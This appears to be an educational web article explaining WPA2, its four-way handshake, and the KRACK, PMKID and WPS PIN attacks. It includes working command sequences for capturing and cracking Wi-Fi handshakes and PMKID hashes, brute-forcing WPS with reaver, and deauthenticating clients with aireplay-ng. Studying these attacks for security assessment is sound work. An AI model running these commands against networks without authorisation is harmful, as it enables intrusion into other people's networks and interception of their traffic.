WPA2 Explained: Security Protocols and Vulnerabilities
An in-depth technical analysis of WPA2 wireless security protocol covering the four-way handshake, CCMP/AES encryption, known vulnerabilities including KRACK, and defensive configurations.
The Legacy Standard in Wireless Encryption
Wi-Fi Protected Access 2 (WPA2) is a security protocol ratified in 2004 as IEEE 802.11i. It replaced WEP and WPA, introducing mandatory AES encryption and CCMP as the core of its security architecture. For over a decade, WPA2 was the gold standard for WiFi security, deployed on billions of devices worldwide. Despite its architectural strength, WPA2 has known protocol-level vulnerabilities that security professionals must understand.
Prerequisites
WPA2 Architecture
WPA2-Personal (PSK)
Uses a single passphrase (8-63 characters) shared among devices. The passphrase derives the Pairwise Master Key (PMK).
WPA2-Enterprise (802.1X)
Uses a RADIUS server for centralized authentication with unique user credentials via EAP.
The Four-Way Handshake
Message 1: AP → Client (ANonce)
Message 2: Client → AP (SNonce + MIC)
Message 3: AP → Client (GTK encrypted + MIC)
Message 4: Client → AP (Acknowledgement)
The handshake proves both parties know the PSK without transmitting it and establishes unique session keys.
WPA2 Vulnerabilities
KRACK Attack (2017)
Exploits the four-way handshake by forcing nonce reuse through retransmitted Message 3. Allows attackers to decrypt and forge packets. Client-side vulnerability patched in all major operating systems.
PMKID Attack
Exploits the RSN IE included in some APs' first EAPOL frame, eliminating the need to capture a full handshake.
hcxdumptool -o capture.pcapng -i wlan0 --enable_status
hcxpcaptool -z pmkidhash.16800 capture.pcapng
hashcat -m 16800 pmkidhash.16800 /usr/share/wordlists/rockyou.txt
WPS PIN Attack
The 8-digit WPS PIN validates in two halves (first 4, then 3 digits), reducing the search space to approximately 11,000 attempts.
reaver -i wlan0mon -b AP_MAC -vv
Capturing and Cracking WPA2
# Enable monitor mode
airmon-ng start wlan0
# Capture on target channel
airodump-ng -c 6 --bssid AP_MAC -w capture wlan0mon
# Deauth client to force handshake
aireplay-ng -0 2 -a AP_MAC -c CLIENT_MAC wlan0mon
# Crack the handshake
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap
Common Mistakes
Best Practices
Related Tools
Related Articles
Summary
WPA2's AES-CCMP encryption provides strong confidentiality, but vulnerabilities including KRACK, PMKID attacks, and WPS PIN attacks show it is not impenetrable. Understanding the four-way handshake, key hierarchy, and attack techniques is essential for wireless security assessment. Migration to WPA3 is strongly recommended.